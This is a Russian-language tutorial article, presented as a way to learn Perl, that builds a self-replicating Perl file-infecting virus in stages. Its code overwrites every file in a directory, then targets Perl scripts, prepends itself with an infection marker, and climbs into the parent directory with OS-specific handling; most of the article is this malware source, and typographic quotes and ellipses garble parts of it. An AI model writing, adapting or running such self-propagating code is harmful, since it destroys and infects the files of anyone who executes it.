Единственная цель этой статьи — получение дополнительных знаний, которые помогут начинающим программистам
(таким как я :-)) в освоении языка Perl. Код, использованный здесь, 
является достаточно простым для понимания теми, кто уже имеет базисные знания
Perl. Примеры программ прошли успешное тестирование на Linux Red Hat 7.2 c 
Perl 5.6.0. Начнем мы с простой программы, которая будет просто
переписывать себя в другие файлы. Постепенно мы будем добавлять в нее
новые функции. Вот исходник этой программы:

#!/usr/bin/perl

open(File,$0);
@Virus=<File>;
close(File);

foreach $FileName (<*>)
{
open(File, «>$FileName»);
print File @Virus;
close (File);
}

Первая строка, надеюсь, всем понятна. Во второй строке мы открываем сами
себя. Имя исполняемого файла находится в $0. Затем мы передаем содержание
файла в массив @Virus. Теперь каждое значение массива содержит строки
нашего файла. Так как это все, что мы хотим сделать с нашим файлом, мы
закрываем его. Далее мы начинаем поиск других файлов. Ищем все файлы в
данном каталоге (<*>) и передаем их значение в $FileName. Мы открываем
файлы в режиме записи ( «>$FileName» ) и просто перезаписываем их нашим
кодом. Также можно использовать >>$FileName для добавления в конец файла.
Итак, таким образом все файлы будут перезаписаны нашей программой. 

Теперь сделаем так, что воздействию программы будут подвергаться только
Perl-файлы. 

#!/usr/bin/perl
open(File,$0);
@Virus=<File>;
close(File);

foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, «$FileName»);
@Temp=<File>;
close(File);
if ((@Temp[0] =~ «perl») or (@Temp[1] =~ «perl»))
{
open(File, «>$FileName»);
print File @Virus;
close (File);
}
}
}

Первые несколько строк понятны из предыдущего примера. Затем следует
if-конструкция. Она отфильтровывает все файлы, которые доступны на чтение(-r), запись (-w), и которые являются файлами а не каталогами (-f).
Соединены эти критерии с помощью && ( логический AND ). Затем открываем
файл на чтение, помещаем его в переменную $Temp и закрываем. Далее следует
проверка первой (@Temp[0]) и второй (@Temp[1]) строк на наличие строки
«perl», чтобы проверить является ли файл perl-программой. Все остальное
должно быть понятно. 

Можно также добавить проверку является ли файл исполняемым (-x $FileName),
но мы не сможем осуществить эту проверку в среде Windows, а также из-за
того, что много людей все-таки начинают файл со строки интерпретатора, не
устанавливая флаг исполнения. Еще одна возможная проверка может состоять в
команде "file" для того, чтобы убедиться, что это perl-программа. Но
данная команда тоже не будет работать в среде Windows. 

Теперь займемся более серьезными вещами — добавлением. Посмотрите на
исходник:

#!/usr/bin/perl
#PerlDemo # Новая строка

open(File,$0);
@Virus=<File>;
@Virus=@Virus[0…24]; # Новая строка
close(File);

foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, «$FileName»);
@Temp=<File>;
close(File);
if ((@Temp[1] =~ «PerlDemo») or (@Temp[2] =~ «PerlDemo»)) #Новая строка
{
if ((@Temp[0] =~ «perl») or (@Temp[1] =~ «perl»))
{
open(File, «>$FileName»);
print File @Virus;
print File @Temp; # Новая строка
close (File);
}
}
}
}

За исключением добавления новых строк, практически ничего не изменилось.
Из изменений можно отметить то, что мы берем лишь 24 строки исполняемого в
данный момент времени файла (зараженного). Это из-за того, что мы
прикрепляем оригинальный файл к заражаемому. Поэтому новый файл начинается
с вируса, затем пустая строка и далее старый файл,
начинающийся с «#!/usr/bin/perl». Новая проверка на «PerlDemo», чтобы
знать, заражен ли файл или нет. При написании подобных программ, главное — оптимизация кода, но здесь я не
смог придумать что-либо кроме соединения строк вместе:

#!/usr/bin/perl #PerlDemo
open(File,$0); @Virus=<File>; @Virus=@Virus[0…6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f 
$FileNam
e)) {
open(File, «$FileName»); @Temp=<File>; close(File); if ((@Temp[1] =~ 
«PerlDemo
«) or (@Temp[2] =~ «PerlDemo»))
{ if ((@Temp[0] =~ «perl») or (@Temp[1] =~ «perl»)) { open(File, 
«>$FileName»)
; print File @Virus;
print File @Temp; close (File); } } } }

Теперь добавим функцию перехода из каталога в каталог. Взгляните:

#!/usr/bin/perl
#Perl Virus — Downward Travelling
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0…24];
close(File);

&InfectFile; # Новая строка
chdir(‘..’); # Новая строка
&InfectFile; # Новая строка

sub InfectFile { # Новая строка
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, «$FileName»);
@Temp=<File>;
close(File);
if ((@Temp[1] =~ «Virus») or (@Temp[2] =~ «Virus»)) {
if ((@Temp[0] =~ «perl»,,i) or (@Temp[1] =~ «perl»,,i)) {#Новая строка
open(File, «>$FileName»);
print File @Virus;
print File @Temp;
close (File);
}}}}}

Что мы сделали? Первое изменение состоит в том, что мы помещаем процедуру
поиска в подпрограмму, которая исполняется два раза из главной программы.
Другое изменение это команда chdir(‘..’), которая помогает нам переходить
на один каталог. Это должно сработать для UNIX-систем и
DOS/Windows-систем, но вызовет ошибки в среде MacOS, т.к. эта система
использует ‘::’ для перехода. Другое изменение состоит в проверке (@Temp[1]=~ «perl»,,i). «,,i» означает
то, что мы ищем строку «perl», игнорируя регистр. Т.е. мы сможем найти
perl-файлы, начинающиеся с #С:\Programme\Perl\Perl.exe. Некоторые могут заметить, что мы не восстанавливаем исходный каталог.
Можете назвать это багом 🙂 Это одна из проблем, обусловленых
несовместимостью различных операционных систем. В UNIX/Linux системах мы
можем получить текущий каталог с помощью $CurrPath=’pwd’; Но это не
сработает в Win и MacOS. В то же время, мы можем определить операционную систему при помощи
переменной $^O, которая существует с Perl 5.0002. Следующий код поможет
определить, находимся ли мы в Dos, Windows, Linux, BSD или Solaris
системах. 

#!/usr/bin/perl
#Perl Virus — Downward Travelling
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0…30];
close(File);

&InfectFile;
if (($^O =~ «bsd») or ($^O =~ «linux») or ($^O =~ «solaris»)) { $OldDir = 
`pwd
` } # Новая строка
if (($^O =~ «dos») or ($^O =~ «MSWin32»)) { $OldDir = `cd` }
# Новая строка
$DotDot = ‘..’;
# Новая строка
if ($^O =~ «MacOS») { $DotDot = «::» }
# Новая строка
chdir($DotDot);
# Новая строка
&InfectFile;
chdir($OldDir);
# Новая строка

sub InfectFile {
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, «$FileName»);
@Temp=<File>;
close(File);
if ((@Temp[1] =~ «Virus») or (@Temp[2] =~ «Virus»)) {
if ((@Temp[0] =~ «perl») or (@Temp[1] =~ «perl»)) {
open(File, «>$FileName»);
print File @Virus;
print File @Temp;
close (File);
}}}}}

Итак, если это будет UNIX система (Linux, BSD, Solaris), то мы получим
текущий каталог с помощью pwd-команды. В среде Windows осуществляем это с
помощью cd, команды, при помощи которой можно изменить текущий каталог, но
также можно получить путь. Затем мы устанавливаем ‘..’, используемые на
почти всех системах, или ‘::’, если это MacOS. Возможно, следует сделать
лишь две проверки, одну для MacOS и установить ‘::’, и одну для
Dos, Windows, OS/2 для использования cd для получения каталога. Мы используем
‘..’ и pwd, т.к. существует множество UNIX и BSD версий, на который
портирован Perl и у них всех есть pwd команда. Если мы захотим переход на каталоги,
располагающиеся выше текущей директории, возникает та же проблема в разнице операционных систем.
Разница заключается в том, как указать корневую директорию. В Linux только
одна корневая директория ‘/’, Windows и Dos имеют один корневой каталог
для каждого диска A:, C:, D: … 

(Продолжение следует)

 

Оставить мнение

Check Also

Как работает Linux: от нажатия кнопки включения до рабочего стола

Лучший способ понять, как работает операционная система, — это проследить поэтапно ее загр…